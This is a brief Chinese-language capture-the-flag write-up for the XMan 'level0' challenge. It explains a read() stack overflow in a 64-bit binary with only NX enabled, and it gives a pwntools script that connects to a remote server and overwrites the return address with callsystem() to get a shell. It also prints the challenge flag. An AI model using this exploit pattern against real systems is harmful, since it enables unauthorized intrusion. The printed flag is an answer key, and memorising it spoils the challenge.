CTF – XMan – level0

题目说明

题目来源: XMan

题目: level0

read() 栈溢出 ROP 覆盖EIP

解题步骤

拿到文件后先查看文件类型是64位的elf文件

检查安全机制没有什么,只是开了NX

使用IDA64打开看到流程图

查看字符串列表

找到关键词进入主函数伪代码

查看vulerable_function()函数伪代码

在函数列表看到callsystem()函数但不在主函数范围内,查看伪代码

vulnerable_function()中的read()函数可以造成栈溢出,尝试将EIP的值溢出为callsystem()的内存位置(0x400596)

Payload构成 0x80填充buf + 0x8填充EBP + callsystem()内存位置

写出exp

1
2
3
4
5
from pwn import *
p = remote('111.198.29.45','44321')
d = p64(0x400596)
p.sendline('A'*0x80 + 'A'*0x8 + d)
p.interactive()

运行得到flag

flag:

1
cyberpeace{815779d126c26d2a693a524963a27779}